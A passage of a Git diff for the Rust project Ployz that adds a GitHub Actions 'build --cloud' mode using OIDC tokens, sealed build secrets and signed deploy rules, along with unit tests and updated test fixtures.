RpcRequestBody::DescribeContract(_) => RpcResponse::from(ContractDescription { + attest: None, machine_id: machine('1'), protocol_major: PROTOCOL_MAJOR, daemon_version: "fixture".into(), diff --git a/core/crates/ployz/src/global_catch_up_rpc_tests.rs b/core/crates/ployz/src/global_catch_up_rpc_tests.rs index ab2506d4cf..b93a5a59cf 100644 --- a/core/crates/ployz/src/global_catch_up_rpc_tests.rs +++ b/core/crates/ployz/src/global_catch_up_rpc_tests.rs @@ -73,6 +73,7 @@ async fn real_catch_up_client_retries_readiness_and_placement_to_their_budget() if matches!(body, RpcRequestBody::DescribeContract(_)) { return Ok(Response::new( RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: target.id, protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "fixture".into(), diff --git a/core/crates/ployz/src/handlers/build.rs b/core/crates/ployz/src/handlers/build.rs index 9039683bd2..91d9d2cd13 100644 --- a/core/crates/ployz/src/handlers/build.rs +++ b/core/crates/ployz/src/handlers/build.rs @@ -5,6 +5,8 @@ use std::{collections::BTreeMap, path::Path, process::Command, sync::Arc}; +mod rule; + use clap::{ArgMatches, ValueHint}; use tokio_util::sync::CancellationToken; @@ -52,6 +54,8 @@ enum BuildCommandError { Sealed(String), #[error("the build was cancelled")] Cancelled, + #[error("{0}")] + Rule(&'static str), } impl From for Failure { @@ -62,6 +66,9 @@ impl From for Failure { pub(super) fn build(root: &ArgMatches) -> Result<(), Error> { let matches = leaf_matches(root); + if let Some(cloud) = matches.get_one::("cloud") { + return build_under_rule(matches, cloud); + } let grant = BuildGrant::parse(required(matches, "grant")?)?; let expected = required(matches, "fingerprint")?; let commit = required(matches, "commit")?; @@ -112,7 +119,177 @@ pub(super) fn build(root: &ArgMatches) -> Result<(), Error> { }, opened, )?; - runtime.block_on(run(captured.build, &grant, events, &cancellation)) + let pushed = runtime.block_on(run(captured.build, &grant, events, &cancellation))?; + pushed.print(None) +} + +/// A build under the automatic deploy rule Cloud relays, on the run GitHub started for +/// `commit`. See [`rule`]. +fn build_under_rule(matches: &ArgMatches, cloud: &str) -> Result<(), Error> { + let commit = required(matches, "commit")?; + let commit = ployz_core::authority::CommitSha::parse(&commit) + .map_err(|_| Error::usage("--commit must be a full lowercase Git SHA"))?; + let source = Path::new( + matches + .get_one::("source") + .expect("source has a default"), + ) + .canonicalize()?; + let cloud = rule::Cloud::new(cloud)?; + let oidc = rule::Oidc::from_env()?; + check_out(&source, &commit.to_string())?; + let events = Arc::new(Events( + matches + .get_one::("events") + .map(std::fs::File::create) + .transpose()? + .map(std::sync::Mutex::new), + )); + let (cancellation, _sigterm) = crate::cancellation::interrupted_or_terminated()?; + let runtime = runtime()?; + let checked_in: rule::CheckedIn = runtime.block_on(until_cancelled( + &cancellation, + cloud.post(&oidc, "/api/builds/check-in", &json!({"commit": commit})), + ))?; + let built = built_under_rule( + &checked_in, + commit, + source, + &oidc, + &cloud, + &events, + &runtime, + &cancellation, + ); + // The build's one report, its end: Cloud reads the image token from it. + let report = |platforms: &[String], token: Option<&ployz_core::GithubToken>| { + let events: Vec = matches + .get_one::("events") + .and_then(|path| std::fs::read_to_string(path).ok()) + .unwrap_or_default() + .lines() + .filter_map(|line| serde_json::from_str(line).ok()) + .collect(); + let body = FinalReport { + from: 0, + events, + platforms, + image_token: token.map(ployz_core::GithubToken::as_str), + }; + let sent = runtime.block_on(cloud.post::( + &oidc, + &format!("/api/builds/{}/steps", checked_in.build), + &body, + )); + if let Err(error) = sent { + crate::ui::warn_cause("Ployz Cloud did not take the build's report", &error); + } + }; + match built { + Ok((pushed, token)) => { + report(&pushed.platforms, Some(&token)); + pushed.print(Some(&token)) + } + Err(error) => { + report(&[], None); + Err(error) + } + } +} + +/// A rule build's last Build Steps report, which carries its image token. +#[derive(serde::Serialize)] +#[serde(rename_all = "camelCase")] +struct FinalReport<'a> { + from: u64, + events: Vec, + platforms: &'a [String], + #[serde(skip_serializing_if = "Option::is_none")] + image_token: Option<&'a str>, +} + +/// Everything a rule build does after check-in: the grant, the secrets, the build, the +/// push, and the image token. +#[expect(clippy::too_many_arguments, reason = "one build's state, passed once")] +fn built_under_rule( + checked_in: &rule::CheckedIn, + commit: ployz_core::authority::CommitSha, + source: std::path::PathBuf, + oidc: &rule::Oidc, + cloud: &rule::Cloud, + events: &Arc, + runtime: &tokio::runtime::Runtime, + cancellation: &CancellationToken, +) -> Result<(Pushed, ployz_core::GithubToken), Error> { + let relayed = checked_in + .rule + .open() + .map_err(|_| BuildCommandError::Rule("Cloud relayed no readable rule"))?; + let policy = rule::policy(&relayed, &checked_in.service, &checked_in.deployment)?.clone(); + let keys = rule::Keys::generate(); + let grant_claim = rule::grant_claim( + checked_in, + &relayed, + &policy, + commit, + keys.holder(), + keys.recipient.recipient(), + )?; + let audience = grant_claim.audience().map_err(Error::command)?; + let (grant, opened) = runtime.block_on(until_cancelled(cancellation, async { + let proof = oidc.token(&audience).await?; + let granted: rule::Granted = cloud + .post( + oidc, + &format!("/api/builds/{}/grant", checked_in.build), + &rule::GrantAsk { + proof: &proof, + service: &checked_in.service, + holder: keys.holder(), + recipient: keys.recipient.recipient(), + commit, + authority: ployz_core::authority::CommitAuthority::Head, + }, + ) + .await?; + let machine = ployz_core::ManagementIdentity::parse_hex(&granted.machine) + .map_err(|_| BuildCommandError::Rule("Cloud named no valid Machine"))?; + let grant = BuildGrant::new(machine, keys.holder_seed); + let registry = open_grant_registry(&grant, &ManagementRelay::default()).await?; + // A build with no secrets opens an empty set: it still proves the Cluster. + let opened = registry + .sealed_for_build(&keys.recipient, &checked_in.attest, &audience) + .await + .inspect_err(|_| events.push_line(SEALED_UNREAD))?; + drop(registry); + Ok((grant, opened)) + }))?; + let opened = opened + .covering(policy.secrets.iter().map(String::as_str)) + .map_err(|missing| BuildCommandError::Sealed(missing.to_string()))?; + let service = checked_in.service.clone(); + let mut captured = capture_opened( + PreparationInput { + deployment: checked_in.deployment.clone(), + sources: BTreeMap::from([(service.clone(), source)]), + source_commits: BTreeMap::from([(service, commit.to_string())]), + ..PreparationInput::default() + }, + Some(opened), + )? + .build; + captured.pin_local( + policy.platforms.iter().cloned().collect(), + rule::cache_scope(&policy)?, + ); + let pushed = runtime.block_on(run(captured, &grant, Arc::clone(events), cancellation))?; + let image = ployz_core::authority::ImageDigest::parse(&pushed.digest) + .map_err(|_| BuildCommandError::NotDigestIdentified)?; + let built = rule::built_claim(&grant_claim, image, checked_in.attest); + let token = runtime.block_on(until_cancelled(cancellation, async { + oidc.token(&built.audience().map_err(Error::command)?).await + }))?; + Ok((pushed, token)) } /// Build `build` locally, push it through `grant` and export its cache, stopping at @@ -122,7 +299,7 @@ async fn run( grant: &BuildGrant, events: Arc, cancellation: &CancellationToken, -) -> Result<(), Error> { +) -> Result { let token = cancellation.clone(); let building = Arc::clone(&events); let (build, built) = tokio::task::spawn_blocking(move || { @@ -131,7 +308,7 @@ async fn run( }) .await .map_err(std::io::Error::other)?; - push( + let pushed = push( grant, &built.map_err(BuildCommandError::from)?, &events, @@ -150,7 +327,43 @@ async fn run( &error, ); } - Ok(()) + Ok(pushed) +} + +/// What the Machine verified it received. +struct Pushed { + digest: String, + tag: String, + platforms: Vec, +} + +impl Pushed { + /// The Cloud runner's fixed result line, on stdout in every mode. A rule build adds + /// its image token, which names the image and the attest key its secrets opened with. + fn print(&self, image_token: Option<&ployz_core::GithubToken>) -> Result<(), Error> { + use std::io::Write as _; + #[derive(serde::Serialize)] + #[serde(rename_all = "camelCase")] + struct Line<'a> { + digest: &'a str, + tag: &'a str, + platforms: &'a [String], + #[serde(skip_serializing_if = "Option::is_none")] + image_token: Option<&'a str>, + } + let line = Line { + digest: &self.digest, + tag: &self.tag, + platforms: &self.platforms, + image_token: image_token.map(ployz_core::GithubToken::as_str), + }; + writeln!( + crate::ui::stdout_bytes(), + "{}", + serde_json::to_string(&line).map_err(std::io::Error::other)? + )?; + Ok(()) + } } async fn until_cancelled( @@ -288,7 +501,7 @@ async fn push( built: &LocalImage, events: &Events, cancellation: &CancellationToken, -) -> Result<(), Error> { +) -> Result { let digest = &built.image.reference; let hex = digest .strip_prefix("sha256:") @@ -312,14 +525,11 @@ async fn push( events.push_line(&format!("Pushed {digest}")); // The Machine stores a tagged manifest only when its bytes hash to the tag's // digest, so a completed push is the Machine's confirmation of `digest`. - // The Cloud runner's fixed result line: stdout in every mode. - use std::io::Write as _; - writeln!( - crate::ui::stdout_bytes(), - "{}", - json!({"digest": digest, "tag": tag, "platforms": built.image.platforms}) - )?; - Ok(()) + Ok(Pushed { + digest: digest.clone(), + tag, + platforms: built.image.platforms.clone(), + }) } /// `docker push`, its per-layer lines streamed to the events file as they come. @@ -386,19 +596,22 @@ pub(super) fn command(command: clap::Command) -> clap::Command { value("grant", None) .env(env::BUILD_GRANT) .hide_env_values(true) - .required(true) + .required_unless_present("cloud") + .conflicts_with("cloud") .help("Build Grant naming the receiving Server; prefer the environment variable"), ) .arg( value("deployment", None) - .required(true) + .required_unless_present("cloud") + .conflicts_with("cloud") .value_hint(ValueHint::FilePath) .help("Frozen deployment JSON holding exactly one Git-sourced Service"), ) .arg(value("commit", None).required(true).help("Commit to build")) .arg( value("fingerprint", None) - .required(true) + .required_unless_present("cloud") + .conflicts_with("cloud") .help("Expected build-input fingerprint; the build is refused on mismatch"), ) .arg( @@ -407,6 +620,11 @@ pub(super) fn command(command: clap::Command) -> clap::Command { .value_hint(ValueHint::DirPath) .help("Repository working tree of the Service"), ) + .arg( + value("cloud", None) + .value_hint(ValueHint::Url) + .help("Build under the automatic deploy rule this Ployz Cloud origin relays, on a GitHub Actions run"), + ) .arg( value("events", None) .value_hint(ValueHint::FilePath) diff --git a/core/crates/ployz/src/handlers/build/rule.rs b/core/crates/ployz/src/handlers/build/rule.rs new file mode 100644 index 0000000000..76074fff04 --- /dev/null +++ b/core/crates/ployz/src/handlers/build/rule.rs @@ -0,0 +1,353 @@ +//! `ployz build --cloud`: a build under an automatic deploy rule, on the GitHub run the +//! rule's workflow started. +//! +//! The runner checks out the commit GitHub ran, never one Cloud names. Everything Cloud +//! relays at check-in (the rule, the Cluster key, the attest key, the deployment) goes +//! into the grant token's audience or opens the secrets, so a lie fails a check on the +//! Machine or here. The runner's GitHub token credentials stay in this process: Buildx +//! gets a fresh environment. +//! +//! check-in โ”€โ–ถ grant token (holder K, recipient R) โ”€โ–ถ grant โ”€โ–ถ secrets opened with A +//! โ”€โ–ถ build with the rule's policy โ”€โ–ถ push โ”€โ–ถ image token (image, A) + +use std::collections::{BTreeMap, BTreeSet}; + +use ployz_core::{ + BuildGrantId, GithubToken, ServiceName, X25519Secret, + authority::{ + AttestKey, AutoDeployRule, BuildClaim, BuildPolicy, BuildStage, CommitAuthority, CommitSha, + ImageDigest, PolicyDigest, RecipientKey, Signed, rule::PolicyCache, rule::PolicyMethod, + }, + config::{BuildMethod, ServiceSource, parse_service_config}, +}; +use serde::{Deserialize, Serialize}; +use serde_json::Value; + +use super::BuildCommandError; +use crate::handlers::Error; + +/// What Cloud relays to a rule build at check-in. None of it is trusted here: the +/// Machine checks the rule and the audience, and the secrets open only with the real +/// attest key. +#[derive(Debug, Deserialize)] +#[serde(rename_all = "camelCase")] +pub(super) struct CheckedIn { + /// Cloud's handle for this build, which its reports name. + pub(super) build: String, + pub(super) rule: Signed, + pub(super) cluster: ployz_core::SealingPublicKey, + pub(super) attest: AttestKey, + pub(super) service: ServiceName, + /// The Deployment's lowering input narrowed to the Service, its Sealed values sealed. + pub(super) deployment: Value, +} + +/// What the runner asks Cloud to relay to the grant Machine. Its own word, which the +/// grant token's audience binds. +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +pub(super) struct GrantAsk<'a> { + pub(super) proof: &'a GithubToken, + pub(super) service: &'a ServiceName, + pub(super) holder: BuildGrantId, + pub(super) recipient: RecipientKey, + pub(super) commit: CommitSha, + pub(super) authority: CommitAuthority, +} + +/// The grant Machine Cloud relayed the ask to. +#[derive(Deserialize)] +pub(super) struct Granted { + pub(super) machine: String, +} + +/// The rule's policy for `service`, once the deployment Cloud sent builds exactly it. +/// +/// # Errors +/// Refuses a rule without the Service, and a deployment whose build inputs differ from +/// the policy in any field, before any token is asked for. +pub(super) fn policy<'rule>( + rule: &'rule AutoDeployRule, + service: &ServiceName, + deployment: &Value, +) -> Result<&'rule BuildPolicy, Error> { + let policy = &rule + .service(service) + .ok_or(BuildCommandError::Rule( + "the rule does not build this Service", + ))? + .policy; + if derived(deployment, service, policy)? != *policy { + return Err(BuildCommandError::Rule( + "the deployment Cloud sent does not build with the rule's policy; refusing to build", + ) + .into()); + } + Ok(policy) +} + +/// The policy `deployment` builds `service` with. Platforms and cache are the rule's +/// own: the build takes them from the policy, not from Cloud. +fn derived( + deployment: &Value, + service: &ServiceName, + rule: &BuildPolicy, +) -> Result { + let config = deployment + .get("snapshots") + .and_then(Value::as_array) + .into_iter() + .flatten() + .filter_map(|snapshot| parse_service_config(snapshot.get("config")?.clone()).ok()) + .find(|config| config.settings.private_dns == *service) + .ok_or(BuildCommandError::Rule( + "the deployment does not hold the Service", + ))?; + let ServiceSource::Git { root_dir, .. } = &config.settings.source else { + return Err(BuildCommandError::Rule("the Service does not build from Git").into()); + }; + let build = &config.settings.build; + let method = match build.build_method { + BuildMethod::Dockerfile => PolicyMethod::Dockerfile { + path: build + .dockerfile_path + .clone() + .unwrap_or_else(|| "Dockerfile".to_owned()), + }, + BuildMethod::Railpack => PolicyMethod::Railpack { + command: build.command.clone(), + }, + }; + let intent = crate::sdk::preparation::frozen_intent(deployment.clone())?; + let spec = intent + .target + .iter() + .find(|spec| spec.name == *service) + .ok_or(BuildCommandError::Rule( + "the deployment does not hold the Service", + ))?; + let mut args = BTreeMap::new(); + let mut secrets = BTreeSet::new(); + for (name, value) in &spec.container.environment { + match value.text() { + Some(text) => { + args.insert(name.clone(), text.to_owned()); + } + None => { + secrets.insert(name.clone()); + } + } + } + Ok(BuildPolicy { + method, + context: root_dir.clone(), + target: None, + args, + secrets, + platforms: rule.platforms.clone(), + cache: rule.cache, + }) +} + +/// The grant token's claim: this build's keys, at `commit`, under the relayed rule. +/// +/// # Errors +/// Only when the policy cannot be hashed. +pub(super) fn grant_claim( + checked_in: &CheckedIn, + rule: &AutoDeployRule, + policy: &BuildPolicy, + commit: CommitSha, + holder: BuildGrantId, + recipient: RecipientKey, +) -> Result { + Ok(BuildClaim { + cluster: checked_in.cluster, + rule: rule.rule, + generation: rule.generation, + service: checked_in.service.clone(), + policy: PolicyDigest::of(policy).map_err(Error::command)?, + commit, + authority: CommitAuthority::Head, + stage: BuildStage::Grant { holder, recipient }, + }) +} + +/// The image token's claim: the grant's, naming the pushed `image` and the attest key +/// the secrets opened with. +pub(super) fn built_claim(grant: &BuildClaim, image: ImageDigest, attest: AttestKey) -> BuildClaim { + BuildClaim { + stage: BuildStage::Built { image, attest }, + ..grant.clone() + } +} + +/// The Actions cache scope of a rule build: its policy's digest, so a run of another +/// policy or branch never writes what this one reads. `None` keeps the cache off. +pub(super) fn cache_scope(policy: &BuildPolicy) -> Result, Error> { + match policy.cache { + PolicyCache::Off => Ok(None), + PolicyCache::Actions => PolicyDigest::of(policy) + .map(|digest| Some(digest.to_string())) + .map_err(Error::command), + } +} + +/// The runner's GitHub OIDC credentials, read once and kept in this process. +pub(super) struct Oidc { + url: String, + token: String, + client: reqwest::Client, +} + +impl Oidc { + /// # Errors + /// Without `permissions: id-token: write` the run has no credentials. + pub(super) fn from_env() -> Result { + let read = |name| { + std::env::var(name) + .ok() + .filter(|value: &String| !value.is_empty()) + }; + let (Some(url), Some(token)) = ( + read("ACTIONS_ID_TOKEN_REQUEST_URL"), + read("ACTIONS_ID_TOKEN_REQUEST_TOKEN"), + ) else { + return Err(BuildCommandError::Rule( + "the workflow needs 'permissions: id-token: write'", + ) + .into()); + }; + Ok(Self { + url, + token, + client: client()?, + }) + } + + /// A GitHub-signed token for this run whose audience is `audience`. + /// + /// # Errors + /// Reports GitHub's refusal without the token. + pub(super) async fn token(&self, audience: &str) -> Result { + #[derive(Deserialize)] + struct Issued { + value: String, + } + let response = self + .client + .get(&self.url) + .query(&[("audience", audience)]) + .bearer_auth(&self.token) + .send() + .await + .map_err(|_| BuildCommandError::Rule("GitHub did not issue a token for this run"))?; + if !response.status().is_success() { + return Err( + BuildCommandError::Rule("GitHub did not issue a token for this run").into(), + ); + } + let issued: Issued = response + .json() + .await + .map_err(|_| BuildCommandError::Rule("GitHub did not issue a token for this run"))?; + Ok(GithubToken::new(issued.value)) + } +} + +/// Cloud's runner API, each call proven by a fresh token whose audience is its origin. +pub(super) struct Cloud { + origin: String, + client: reqwest::Client, +} + +impl Cloud { + /// # Errors + /// Refuses anything but an origin. + pub(super) fn new(origin: &str) -> Result { + let origin = origin.trim_end_matches('/'); + let url = reqwest::Url::parse(origin) + .map_err(|_| Error::usage("--cloud must be an origin like https://ployz.dev"))?; + if url.origin().ascii_serialization() != origin { + return Err(Error::usage( + "--cloud must be an origin like https://ployz.dev", + )); + } + Ok(Self { + origin: origin.to_owned(), + client: client()?, + }) + } + + /// POST `body` to `path` as this run, reading Cloud's answer. + /// + /// # Errors + /// Names Cloud's status and message: never a token. + pub(super) async fn post( + &self, + oidc: &Oidc, + path: &str, + body: &impl Serialize, + ) -> Result { + let token = oidc.token(&self.origin).await?; + let response = self + .client + .post(format!("{}{path}", self.origin)) + .bearer_auth(token.as_str()) + .json(body) + .send() + .await + .map_err(|_| { + Error::unavailable(format!("could not reach Ployz Cloud at {}", self.origin)) + })?; + let status = response.status(); + if status.is_success() { + return response + .json() + .await + .map_err(|_| Error::unavailable("Ployz Cloud's answer is unreadable".to_owned())); + } + let body: Value = response.json().await.unwrap_or_default(); + let message = body + .get("message") + .and_then(Value::as_str) + .unwrap_or_else(|| status.canonical_reason().unwrap_or("refused")); + Err(Error::unavailable(format!( + "Ployz Cloud refused the build (HTTP {}): {message}", + status.as_u16() + ))) + } +} + +fn client() -> Result { + reqwest::Client::builder() + .redirect(reqwest::redirect::Policy::none()) + .timeout(std::time::Duration::from_secs(120)) + .build() + .map_err(Error::command) +} + +/// This build's keys: the holder K its push authenticates with, and the recipient R its +/// secrets are sealed to. Neither leaves the process. +pub(super) struct Keys { + pub(super) holder_seed: [u8; 32], + pub(super) recipient: X25519Secret, +} + +impl Keys { + pub(super) fn generate() -> Self { + Self { + holder_seed: iroh::SecretKey::generate().to_bytes(), + recipient: X25519Secret::generate(), + } + } + + pub(super) fn holder(&self) -> BuildGrantId { + let public = iroh::SecretKey::from_bytes(&self.holder_seed).public(); + BuildGrantId::parse(hex::encode(public.as_bytes())).expect("an ed25519 key is 32 bytes") + } +} + +#[cfg(test)] +#[path = "rule_tests.rs"] +mod tests; diff --git a/core/crates/ployz/src/handlers/build/rule_tests.rs b/core/crates/ployz/src/handlers/build/rule_tests.rs new file mode 100644 index 0000000000..121654f8e7 --- /dev/null +++ b/core/crates/ployz/src/handlers/build/rule_tests.rs @@ -0,0 +1,231 @@ +use std::collections::{BTreeMap, BTreeSet}; + +use ployz_core::{ + Namespace, OpenedSealed, SealingPublicKey, + authority::rule::{Builder, RuleEvent, RuleSource, Runner}, + authority::{PayloadDigest, RuleId, RuleService, Signer, SignerKey, Timestamp}, +}; +use serde_json::json; + +use super::*; + +fn web() -> ServiceName { + ServiceName::parse("web").unwrap() +} + +/// D2's golden policy (`ployz-core/src/authority/rule_tests.rs`). +fn golden_policy() -> BuildPolicy { + BuildPolicy { + method: PolicyMethod::Dockerfile { + path: "Dockerfile".to_owned(), + }, + context: ".".to_owned(), + target: Some("runtime".to_owned()), + args: BTreeMap::from([("NODE_ENV".to_owned(), "production".to_owned())]), + secrets: BTreeSet::from(["NPM_TOKEN".to_owned()]), + platforms: BTreeSet::from(["linux/amd64".to_owned()]), + cache: PolicyCache::Actions, + } +} + +fn rule(policy: BuildPolicy) -> AutoDeployRule { + let signer = Signer::from_seed(&[7; 32]); + AutoDeployRule { + cluster: SealingPublicKey::from_bytes([9; 32]), + rule: RuleId::from_bytes([0x11; 16]), + generation: 3, + namespace: Namespace::parse("app").unwrap(), + machines: Vec::new(), + source: RuleSource { + repository_id: 1_450_985_696, + owner_id: 1, + repository: "Ployz-test/lab-service".to_owned(), + branch: "main".to_owned(), + workflow: ".github/workflows/ployz-build.yml".to_owned(), + events: vec![RuleEvent::Push], + builder: Builder::pinned(), + runner: Runner::GithubHosted, + }, + services: vec![RuleService { + name: web(), + template: PayloadDigest::parse(&"ab".repeat(32)).unwrap(), + policy, + secrets: None, + }], + issued_at: Timestamp::from_millis(1_800_000_000_000).unwrap(), + ended: false, + signer: SignerKey::Device(signer.public().into()), + } +} + +fn checked_in(rule: &AutoDeployRule, deployment: Value) -> CheckedIn { + CheckedIn { + build: "deployment.web".to_owned(), + rule: Signed::sign(rule, &Signer::from_seed(&[7; 32])).unwrap(), + cluster: rule.cluster, + attest: AttestKey::from_bytes([0x55; 32]), + service: web(), + deployment, + } +} + +/// A one-Service deployment as Cloud relays it, building with `env` as its variables. +fn deployment(env: Value) -> Value { + json!({"namespace": "app", "snapshots": [{"serviceId": "web", "resolvedEnv": env, "config": { + "version": 2, "privateDns": "web", "healthcheck": {"type": "none"}, + "restartPolicy": "on-failure", + "source": {"version": 2, "type": "git", "repository": "Ployz-test/lab-service", + "repositoryId": 1_450_985_696_u64, "access": {"type": "public"}, "rootDir": "/", + "branch": {"type": "connected", "name": "main"}}, + "build": {"buildMethod": "dockerfile", "dockerfilePath": "Dockerfile", "command": null} + }}]}) +} + +/// The policy `deployment(env)` builds with: a Dockerfile at the root, and plain args, +/// with the `PORT` every Service gets. +fn lab_policy(args: &[(&str, &str)]) -> BuildPolicy { + BuildPolicy { + method: PolicyMethod::Dockerfile { + path: "Dockerfile".to_owned(), + }, + context: "/".to_owned(), + target: None, + args: args + .iter() + .chain(&[("PORT", "8080")]) + .map(|(name, value)| ((*name).to_owned(), (*value).to_owned())) + .collect(), + secrets: BTreeSet::new(), + platforms: BTreeSet::from(["linux/amd64".to_owned()]), + cache: PolicyCache::Off, + } +} + +#[test] +fn the_grant_and_image_audiences_are_d2s_golden_bytes() { + let rule = rule(golden_policy()); + let checked_in = checked_in(&rule, json!({})); + let grant = grant_claim( + &checked_in, + &rule, + &golden_policy(), + CommitSha::parse("fedcba9876543210fedcba9876543210fedcba98").unwrap(), + BuildGrantId::parse("22".repeat(32)).unwrap(), + RecipientKey::from_bytes([0x33; 32]), + ) + .unwrap(); + assert_eq!( + grant.audience().unwrap(), + "ployz-build:d381dad98d9e05abc95e1f858a8daec9bac744f9df1e9ba29f4c6f2590053bce" + ); + let built = built_claim( + &grant, + ImageDigest::from_bytes([0x44; 32]), + checked_in.attest, + ); + assert_eq!( + built.audience().unwrap(), + "ployz-build:ab9f3944cdb7dc7452e273796c83bcc5954e63da07cd1b72b153c6e5e5f70a25" + ); +} + +#[test] +fn the_image_token_names_the_attest_key_the_secrets_opened_with() { + let attest = X25519Secret::generate(); + let keys = Keys::generate(); + let rule = rule(lab_policy(&[])); + let checked_in = CheckedIn { + attest: attest.attest(), + ..checked_in(&rule, deployment(json!({}))) + }; + let grant = grant_claim( + &checked_in, + &rule, + &lab_policy(&[]), + CommitSha::from_bytes([1; 20]), + keys.holder(), + keys.recipient.recipient(), + ) + .unwrap(); + let audience = grant.audience().unwrap(); + let sealed = OpenedSealed::new(BTreeMap::new(), Vec::new()) + .seal_for_build(&attest, &keys.recipient.recipient(), &audience) + .unwrap(); + OpenedSealed::open_build(&sealed, &keys.recipient, &checked_in.attest, &audience).unwrap(); + let built = built_claim(&grant, ImageDigest::from_bytes([2; 32]), checked_in.attest); + assert_eq!( + built.stage, + BuildStage::Built { + image: ImageDigest::from_bytes([2; 32]), + attest: attest.attest(), + } + ); + // A key Cloud relays in place of A opens nothing, so no image token names it. + let relayed = X25519Secret::generate().attest(); + assert!(OpenedSealed::open_build(&sealed, &keys.recipient, &relayed, &audience).is_err()); +} + +#[test] +fn a_deployment_that_builds_with_the_rules_policy_passes() { + let rule = rule(lab_policy(&[("NODE_ENV", "production")])); + let deployment = deployment(json!({"NODE_ENV": "production"})); + assert_eq!( + policy(&rule, &web(), &deployment).unwrap(), + &lab_policy(&[("NODE_ENV", "production")]) + ); +} + +#[test] +fn a_deployment_with_another_build_arg_is_refused_before_any_token() { + let rule = rule(lab_policy(&[("NODE_ENV", "production")])); + for env in [ + json!({"NODE_ENV": "production", "EXTRA": "1"}), + json!({"NODE_ENV": "development"}), + json!({}), + ] { + let error = policy(&rule, &web(), &deployment(env)).unwrap_err(); + assert!( + error + .to_string() + .contains("does not build with the rule's policy"), + "{error}" + ); + } +} + +#[test] +fn a_registry_cache_is_no_policy_and_the_actions_cache_is_scoped_by_its_digest() { + for cache in ["registry", "inline", "gha"] { + let mut policy = serde_json::to_value(lab_policy(&[])).unwrap(); + policy + .as_object_mut() + .unwrap() + .insert("cache".to_owned(), json!(cache)); + assert!( + serde_json::from_value::(policy).is_err(), + "a {cache} cache must not parse" + ); + } + assert_eq!(cache_scope(&lab_policy(&[])).unwrap(), None); + let cached = BuildPolicy { + cache: PolicyCache::Actions, + ..lab_policy(&[]) + }; + assert_eq!( + cache_scope(&cached).unwrap(), + Some(PolicyDigest::of(&cached).unwrap().to_string()) + ); +} + +#[test] +fn cloud_takes_only_an_origin() { + assert!(Cloud::new("https://ployz.dev").is_ok()); + assert!(Cloud::new("https://ployz.dev/").is_ok()); + for bad in [ + "https://ployz.dev/api", + "ployz.dev", + "https://user@ployz.dev", + ] { + assert!(Cloud::new(bad).is_err(), "{bad}"); + } +} diff --git a/core/crates/ployz/src/handlers/device_tests.rs b/core/crates/ployz/src/handlers/device_tests.rs index f0b4bec841..41dfc54e4b 100644 --- a/core/crates/ployz/src/handlers/device_tests.rs +++ b/core/crates/ployz/src/handlers/device_tests.rs @@ -67,6 +67,7 @@ async fn cluster( .into(), }), RpcRequestBody::DescribeContract(_) => RpcResponse::from(ContractDescription { + attest: None, machine_id: target.unwrap(), protocol_major: PROTOCOL_MAJOR, daemon_version: "fixture".into(), @@ -774,6 +775,7 @@ async fn raced( )], }), RpcRequestBody::DescribeContract(_) => RpcResponse::from(ContractDescription { + attest: None, machine_id: id('1'), protocol_major: PROTOCOL_MAJOR, daemon_version: "fixture".into(), diff --git a/core/crates/ployz/src/handlers/recovery.rs b/core/crates/ployz/src/handlers/recovery.rs index 6b25cee8c6..dfac93e49a 100644 --- a/core/crates/ployz/src/handlers/recovery.rs +++ b/core/crates/ployz/src/handlers/recovery.rs @@ -535,6 +535,7 @@ mod tests { ) -> Daemon { let socket = dir.join("ployzd.sock"); let contract = ContractDescription { + attest: None, machine_id: MachineId::random(), protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "fixture".into(), diff --git a/core/crates/ployz/src/handlers/server/setup_tests.rs b/core/crates/ployz/src/handlers/server/setup_tests.rs index 8ef018e240..68e157a267 100644 --- a/core/crates/ployz/src/handlers/server/setup_tests.rs +++ b/core/crates/ployz/src/handlers/server/setup_tests.rs @@ -79,6 +79,7 @@ async fn enrolling_machine( match request.into_inner().decode_request().unwrap().body { RpcRequestBody::DescribeContract(_) => Ok(Response::new( RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: MachineId::random(), protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "fixture".into(), @@ -301,6 +302,7 @@ async fn restarting_cluster_store( let response = match request.into_inner().decode_request().unwrap().body { RpcRequestBody::DescribeContract(_) => { RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: machine.id, protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "fixture".into(), diff --git a/core/crates/ployz/src/operator_tests.rs b/core/crates/ployz/src/operator_tests.rs index 813b6ee0cf..cca11def74 100644 --- a/core/crates/ployz/src/operator_tests.rs +++ b/core/crates/ployz/src/operator_tests.rs @@ -247,6 +247,7 @@ async fn refused_on_redial() -> ( panic!("only a redial's confirmation is asked") }; let confirmed = RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: machine_id('a'), protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "test".into(), diff --git a/core/crates/ployz/src/sealed_compat_tests.rs b/core/crates/ployz/src/sealed_compat_tests.rs index 1ab65217a7..b5b4fcee3a 100644 --- a/core/crates/ployz/src/sealed_compat_tests.rs +++ b/core/crates/ployz/src/sealed_compat_tests.rs @@ -51,6 +51,7 @@ async fn listing(machines: Vec) -> Fleet { let response = match rpc.into_inner().decode_request().unwrap().body { RpcRequestBody::DescribeContract(_) => { RpcResponse::from(ployz_core::ContractDescription { + attest: None, machine_id: id, protocol_major: ployz_core::PROTOCOL_MAJOR, daemon_version: "fixture".into(), diff --git a/core/crates/ployz/tests/cli_shape.rs b/core/crates/ployz/tests/cli_shape.rs index 13e18c4556..ad52c38a95 100644 --- a/core/crates/ployz/tests/cli_shape.rs +++ b/core/crates/ployz/tests/cli_shape.rs @@ -1994,6 +1994,7 @@ fn fake_daemon(socket: &std::path::Path, discovery: Discovery) { Discovery::Cancelled => return Err(Status::cancelled("the daemon is stopping")), }; let description = ContractDescription { + attest: None, machine_id: "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".parse().unwrap(), protocol_major, daemon_version: "cli-shape".into(), diff --git a/core/crates/ployz/tests/cloud_init/harness.rs b/core/crates/ployz/tests/cloud_init/harness.rs index ed3072f5f7..5f3709072a 100644 --- a/core/crates/ployz/tests/cloud_init/harness.rs +++ b/core/crates/ployz/tests/cloud_init/harness.rs @@ -579,6 +579,7 @@ impl FakeMachine for JoinDaemon { capabilities.extend([ENROLL_FOR_RECOVERY_CAPABILITY, 